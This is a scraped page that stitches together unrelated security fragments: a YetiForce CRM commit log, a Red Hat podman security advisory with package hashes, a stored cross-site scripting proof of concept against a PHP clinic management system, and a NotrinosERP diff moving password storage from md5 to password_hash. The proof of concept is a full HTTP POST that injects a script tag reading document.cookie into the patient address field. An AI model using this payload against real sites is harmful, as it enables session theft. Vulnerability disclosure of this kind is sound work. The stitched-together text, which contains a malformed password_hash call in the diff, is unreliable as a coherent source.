\* Improved executing workflow when an unsupported operator is selected

\* Improved getting translation (#16350)

\* Improved Importer

\* Improved working time counter widget

\* Improved api

\* Expansion of the tests

\* Expansion of the tests

\* tests

\* Update DEV dependencies

\* Improved Rss

\* tests

\* Value display secured

\* Added improvements

\* Improved index name

\* Improved validation of quantity field (#16355)

\* Improved validation of quantity field

\* Improved code

\* Add missing picklist dependencies

\* Added  validation whether at least one business day has been selected in the Business hours module (#16356)

\* Compile js

\* Moved swagger file

\* Improved swagger generating functions

\* Added minor improvements

\* Fixed issue with date format

\* Added improvements

\* Fixed a bug when selecting all users in the calendar quick edit view (#16357)

\* Improved swagger generating functions

\* Added improvements

\* Added improvements

\* Added improvements

\* Improved Address Search panel

\* Improved Emails to send panel

\* Fix action name

\* Fix description in docBlock

\* tests/Settings/ApiAddress.php

\* Compile js

\* tests/Settings/ApiAddress.php

\* tests/Settings/ApiAddress.php

\* Remove html unnecessary class

\* Fixed #14266 (#16349)

\* \[PROD\](renovate) Update debian Docker tag to v11 (#16341)

Co-authored-by: renovate\[bot\] <29139614+renovate\[bot\]@users.noreply.github.com>

\* Improved anonymization

\* Added improvements

\* Update install translations

\* Improved config class

\* Added improvements

\* Improved generatedtype for some fields

\* Fixed #15631 (#16358)

\* Added improvements

\* Improved block sequence

\* 6.4.0

Co-authored-by: rembiesa <103192653+rembiesa@users.noreply.github.com>
Co-authored-by: Radosław Skrzypczak <r.skrzypczak@yetiforce.com>
Co-authored-by: Adrian Koń <a.kon@yetiforce.com>
Co-authored-by: bmankowski <bmankowski@gmail.com>
Co-authored-by: Arek Solek <arkadiusz\_s9887@wp.pl>
Co-authored-by: renovate\[bot\] <29139614+renovate\[bot\]@users.noreply.github.com>
Co-authored-by: dependabot\[bot\] <49699333+dependabot\[bot\]@users.noreply.github.com>
Co-authored-by: Jared Ramon Elizan <elizanjaredr@gmail.com>
Co-authored-by: depfu\[bot\] <23717796+depfu\[bot\]@users.noreply.github.com>

*   Loading branch information

CVE-2022-1340: YetiForce CRM ver. 6.4.0 (#16359) · YetiForceCompany/YetiForceCRM@2c14baa

An update for podman is now available for Red Hat Enterprise Linux 7 Extras.
Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.

Related CVEs:
* CVE-2022-2738: podman: Security regression of CVE-2020-8945 due to source code management issue
* CVE-2022-2739: podman: Security regression of CVE-2020-14370 due to source code management issue


Skip to navigation Skip to main content

**Utilities**

*   Subscriptions
*   Downloads
*   Containers
*   Support Cases

**Infrastructure and Management**

*   Red Hat Enterprise Linux
*   Red Hat Virtualization
*   Red Hat Identity Management
*   Red Hat Directory Server
*   Red Hat Certificate System
*   Red Hat Satellite
*   Red Hat Subscription Management
*   Red Hat Update Infrastructure
*   Red Hat Insights
*   Red Hat Ansible Automation Platform

**Cloud Computing**

*   Red Hat OpenShift
*   Red Hat CloudForms
*   Red Hat OpenStack Platform
*   Red Hat OpenShift Container Platform
*   Red Hat OpenShift Data Science
*   Red Hat OpenShift Online
*   Red Hat OpenShift Dedicated
*   Red Hat Advanced Cluster Security for Kubernetes
*   Red Hat Advanced Cluster Management for Kubernetes
*   Red Hat Quay
*   Red Hat CodeReady Workspaces
*   Red Hat OpenShift Service on AWS

**Storage**

*   Red Hat Gluster Storage
*   Red Hat Hyperconverged Infrastructure
*   Red Hat Ceph Storage
*   Red Hat OpenShift Data Foundation

**Runtimes**

*   Red Hat Runtimes
*   Red Hat JBoss Enterprise Application Platform
*   Red Hat Data Grid
*   Red Hat JBoss Web Server
*   Red Hat Single Sign On
*   Red Hat support for Spring Boot
*   Red Hat build of Node.js
*   Red Hat build of Thorntail
*   Red Hat build of Eclipse Vert.x
*   Red Hat build of OpenJDK
*   Red Hat build of Quarkus

**Integration and Automation**

*   Red Hat Process Automation
*   Red Hat Process Automation Manager
*   Red Hat Decision Manager

All Products

Issued:

2022-08-22

Updated:

2022-08-22

**RHSA-2022:6119 - Security Advisory**

*   Overview
*   Updated Packages

**Synopsis**

Moderate: podman security and bug fix update

**Type/Severity**

Security Advisory: Moderate

**Red Hat Insights patch analysis**

Identify and remediate systems affected by this advisory.

View affected systems

**Topic**

An update for podman is now available for Red Hat Enterprise Linux 7 Extras.  

Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

**Description**

The podman tool manages pods, container images, and containers. It is part of the libpod library, which is for applications that use container pods. Container pods is a concept in Kubernetes.  

Security Fix(es):  

*   podman: Security regression of CVE-2020-8945 due to source code management issue (CVE-2022-2738)
*   podman: Security regression of CVE-2020-14370 due to source code management issue (CVE-2022-2739)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.  

Bug Fix(es):  

*   podman-1.6.4-32 prints a \`Error: read unixpacket\` when running in interactive mode (BZ#2087994)
*   systemd managed container doesn't start serving web traffic despite of starting on system startup. (BZ#2096449)
*   Can not Add url with podman build (BZ#2112217)

**Affected Products**

*   Red Hat Enterprise Linux Server 7 x86\_64
*   Red Hat Enterprise Linux Workstation 7 x86\_64
*   Red Hat Enterprise Linux for IBM z Systems 7 s390x
*   Red Hat Enterprise Linux for Power, little endian 7 ppc64le

**Fixes**

*   BZ - 2087994 - podman-1.6.4-32 prints a \`Error: read unixpacket\` when running in interactive mode
*   BZ - 2096449 - systemd managed container doesn't start serving web traffic despite of starting on system startup. \[rhel-7.9.z\]
*   BZ - 2112217 - Can not Add url with podman build
*   BZ - 2116923 - CVE-2022-2738 podman: Security regression of CVE-2020-8945 due to source code management issue
*   BZ - 2116927 - CVE-2022-2739 podman: Security regression of CVE-2020-14370 due to source code management issue

**Red Hat Enterprise Linux Server 7**

SRPM

podman-1.6.4-36.el7\_9.src.rpm

SHA-256: 92b61869908a8e2006ac1293a63b064d17302d6ad68413705132ea9dede880bc

x86\_64

podman-1.6.4-36.el7\_9.x86\_64.rpm

SHA-256: 3007c290905dd75d101c45d91ca5754c01d2f429cc68d5f95c22ab0598ae2adb

podman-debuginfo-1.6.4-36.el7\_9.x86\_64.rpm

SHA-256: 4f58afa9be0235e25460157c5c2c30146e1d0ff1bf63ff62ff1d2d72ecf60d39

podman-docker-1.6.4-36.el7\_9.noarch.rpm

SHA-256: a304e85c484e66164e9dc1764c8f28af77d8c7dcc6dc6e372174ee177b3350d8

**Red Hat Enterprise Linux Workstation 7**

SRPM

podman-1.6.4-36.el7\_9.src.rpm

SHA-256: 92b61869908a8e2006ac1293a63b064d17302d6ad68413705132ea9dede880bc

x86\_64

podman-1.6.4-36.el7\_9.x86\_64.rpm

SHA-256: 3007c290905dd75d101c45d91ca5754c01d2f429cc68d5f95c22ab0598ae2adb

podman-debuginfo-1.6.4-36.el7\_9.x86\_64.rpm

SHA-256: 4f58afa9be0235e25460157c5c2c30146e1d0ff1bf63ff62ff1d2d72ecf60d39

podman-docker-1.6.4-36.el7\_9.noarch.rpm

SHA-256: a304e85c484e66164e9dc1764c8f28af77d8c7dcc6dc6e372174ee177b3350d8

**Red Hat Enterprise Linux for IBM z Systems 7**

SRPM

podman-1.6.4-36.el7\_9.src.rpm

SHA-256: 92b61869908a8e2006ac1293a63b064d17302d6ad68413705132ea9dede880bc

s390x

podman-1.6.4-36.el7\_9.s390x.rpm

SHA-256: b4298553ea30ff20b57c65d0be248e69495e539b7db8d232d877a62e1520e343

podman-debuginfo-1.6.4-36.el7\_9.s390x.rpm

SHA-256: 8c1d42d36e3a36147332ef7e57453aa1a623a343646ca5fe5e611d604eac8c5a

podman-docker-1.6.4-36.el7\_9.noarch.rpm

SHA-256: a304e85c484e66164e9dc1764c8f28af77d8c7dcc6dc6e372174ee177b3350d8

**Red Hat Enterprise Linux for Power, little endian 7**

SRPM

podman-1.6.4-36.el7\_9.src.rpm

SHA-256: 92b61869908a8e2006ac1293a63b064d17302d6ad68413705132ea9dede880bc

ppc64le

podman-1.6.4-36.el7\_9.ppc64le.rpm

SHA-256: f43cc729bbf8aa9bbafea7380fc8c463d0c112bec3fc24ab44229b7377fd9bdc

podman-debuginfo-1.6.4-36.el7\_9.ppc64le.rpm

SHA-256: 84740288c4c5c6b5e819af971d529ea8e880b485c63c8bada0894aa6e9f56008

podman-docker-1.6.4-36.el7\_9.noarch.rpm

SHA-256: a304e85c484e66164e9dc1764c8f28af77d8c7dcc6dc6e372174ee177b3350d8

The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/.

RHSA-2022:6119: Red Hat Security Advisory: podman security and bug fix update

Clinic's Patient Management System v1.0 is vulnerable to Cross Site Scripting (XSS) via patients.php.

Permalink

Cannot retrieve contributors at this time

**Title: Clinic's Patient Management System 1.0 Stored Cross-Site Scripting****Author: HeZhenKai****Date: 07.15.2022****Vendor: https://www.sourcecodester.com/users/tips23****Software:**

https://www.sourcecodester.com/php-clinics-patient-management-system-source-code

#Description： #The Line 10 of patients.php sends unvalidated data to a web browser, which can result in the browser executing malicious code.

#echo $patients->address;

#PoC：

    POST /pms/patients.php HTTP/1.1
    Host: 192.168.1.19
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Referer: http://192.168.1.19/pms/patients.php
    Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=cqb92r4af78v6laio9hqjs261t
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 160
    
    patient_name=1&address=1%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&cnic=1&date_of_birth=07%2F21%2F2022&phone_number=1&gender=Male&save_Patient=

CVE-2022-36251: bug_report/XSS-1.md at main · ZhenKaiHe/bug_report

This will lead to privilege escalation from AP officers account to the System Administrator account. and gain more functionality such as Create/Update Companies. Install/Update Languages. Install/Activate Extensions. Install/Activate Themes. Install/Activate Chart of Accounts. Software Upgrade.

@@ -25,7 +25,7 @@ function can\_process() {

$Auth\_Result = hook\_authenticate($\_SESSION\['wa\_current\_user'\]->username, $\_POST\['cur\_password'\]);

  

if (!isset($Auth\_Result)) // if not used external login: standard method

$Auth\_Result = get\_user\_auth($\_SESSION\['wa\_current\_user'\]->username, md5($\_POST\['cur\_password'\]));

$Auth\_Result = authenticate\_user($\_SESSION\['wa\_current\_user'\]->username, $\_POST\['cur\_password'\]);

  

if (!$Auth\_Result) {

display\_error( \_('Invalid password entered.'));

@@ -57,7 +57,7 @@ function can\_process() {

if ($SysPrefs\->allow\_demo\_mode)

display\_warning(\_('Password cannot be changed in demo mode.'));

else {

update\_user\_password($\_SESSION\['wa\_current\_user'\]->user, $\_SESSION\['wa\_current\_user'\]->username, md5($\_POST\['password'\]));

update\_user\_password($\_SESSION\['wa\_current\_user'\]->user, $\_SESSION\['wa\_current\_user'\]->username, password\_hash($\_POST\['password'\], PASSWORD\_DEFAULT));

display\_notification(\_('Your password has been updated.'));

}

$Ajax\->activate('\_page\_body');

@@ -86,4 +86,4 @@ function can\_process() {

  

submit\_center( 'UPDATE\_ITEM', \_('Change password'), true, '', 'default');

end\_form();

end\_page();

end\_page();

@@ -20,7 +20,7 @@

  

page(\_($help\_context = 'Create/Update Company'));

  

$comp\_subdirs = array('images', 'pdf\_files', 'backup','js\_cache', 'reporting', 'attachments');

$comp\_subdirs = array('images', 'pdf\_files', 'backup', 'js\_cache', 'reporting', 'attachments');

  

simple\_page\_mode(true);

/\*

@@ -107,7 +107,7 @@ function handle\_submit($selected\_id) {

  

$conn = $db\_connections\[$selected\_id\];

if (($db = db\_create\_db($conn)) === false) {

display\_error(\_('Error creating Database: ') . $conn\['dbname'\] . \_(', Please create it manually'));

display\_error(\_('Error creating Database: ').$conn\['dbname'\].\_(', Please create it manually'));

$error = true;

}

else {

@@ -120,7 +120,7 @@ function handle\_submit($selected\_id) {

else {

if (!isset($\_POST\['admpassword'\]) || $\_POST\['admpassword'\] == '')

$\_POST\['admpassword'\] = 'password';

update\_admin\_password($conn, md5($\_POST\['admpassword'\]));

update\_admin\_password($conn, password\_hash($\_POST\['admpassword'\]), PASSWORD\_DEFAULT);

}

}

if ($error) {

@@ -350,4 +350,4 @@ function display\_company\_edit($selected\_id) {

  

end\_form();

  

end\_page();

end\_page();

@@ -112,12 +112,29 @@ function delete\_user($id) {

  

//-----------------------------------------------------------------------------------------------

  

function get\_user\_auth($user\_id, $password) {

function authenticate\_user($user\_id, $password) {

  

$sql = "SELECT \* FROM ".TB\_PREF."users WHERE user\_id = ".db\_escape($user\_id)." AND"

." password=".db\_escape($password);

$sql1 = "SELECT password FROM ".TB\_PREF."users WHERE user\_id = ".db\_escape($user\_id);

  

return db\_num\_rows(db\_query($sql, 'could not get validate user login for '.$user\_id)) != 0;

$result = db\_query($sql1, 'could not get user login for '.$user\_id);

  

if(db\_num\_rows($result) == 0)

return false;

  

$hash = db\_fetch($result)\[0\];

  

// The user's password hash may have been created long ago by md5 password algorithm on the old NotrinosERP versions

if(password\_verify($password, $hash) || $hash == md5($password)) {

if(password\_needs\_rehash($hash, PASSWORD\_DEFAULT) === true) {

$new\_hash = password\_hash($password, PASSWORD\_DEFAULT);

$sql2 = "UPDATE ".TB\_PREF."users SET password = ".db\_escape($new\_hash)." WHERE user\_id = ".db\_escape($user\_id);

db\_query($sql2, 'could not update password hash for '.$user\_id);

}

  

return true;

}

  

return false;

}

  

//-----------------------------------------------------------------------------------------------

@@ -56,12 +56,12 @@ function can\_process($new) {

update\_user\_prefs($selected\_id, get\_post(array('user\_id', 'real\_name', 'phone', 'email', 'role\_id', 'language', 'print\_profile', 'rep\_popup' => 0, 'pos')));

  

if ($\_POST\['password'\] != '')

update\_user\_password($selected\_id, $\_POST\['user\_id'\], md5($\_POST\['password'\]));

update\_user\_password($selected\_id, $\_POST\['user\_id'\], password\_hash($\_POST\['password'\], PASSWORD\_DEFAULT));

  

display\_notification\_centered(\_('The selected user has been updated.'));

}

else {

add\_user($\_POST\['user\_id'\], $\_POST\['real\_name'\], md5($\_POST\['password'\]), $\_POST\['phone'\], $\_POST\['email'\], $\_POST\['role\_id'\], $\_POST\['language'\], $\_POST\['print\_profile'\], check\_value('rep\_popup'), $\_POST\['pos'\]);

add\_user($\_POST\['user\_id'\], $\_POST\['real\_name'\], password\_hash($\_POST\['password'\], PASSWORD\_DEFAULT), $\_POST\['phone'\], $\_POST\['email'\], $\_POST\['role\_id'\], $\_POST\['language'\], $\_POST\['print\_profile'\], check\_value('rep\_popup'), $\_POST\['pos'\]);

$id = db\_insert\_id();

// use current user display preferences as start point for new user

$prefs = $\_SESSION\['wa\_current\_user'\]->prefs\->get\_all();

@@ -69,11 +69,11 @@ class current\_user {

  

// Use external authentication source if any.

// Keep in mind you need to have user data set for $loginname

// in FA users table anyway to successfully log in.

// in NotrinosERP users table anyway to successfully log in.

$Auth\_Result = hook\_authenticate($loginname, $password);

  

if (!isset($Auth\_Result)) // if not used: standard method

$Auth\_Result = get\_user\_auth($loginname, md5($password));

$Auth\_Result = authenticate\_user($loginname, $password);

if ($SysPrefs\->login\_delay > 0)

write\_login\_filelog($loginname, $Auth\_Result);

if ($Auth\_Result) {

@@ -151,7 +151,7 @@ class current\_user {

if ($user != false) {

  

$password = generate\_password();

$hash = md5($password);

$hash = password\_hash($password);

  

update\_user\_password($user\['id'\], $user\['user\_id'\], $hash);

  

**0 comments on commit 1b9903f**

Please sign in to comment.

Tag

#js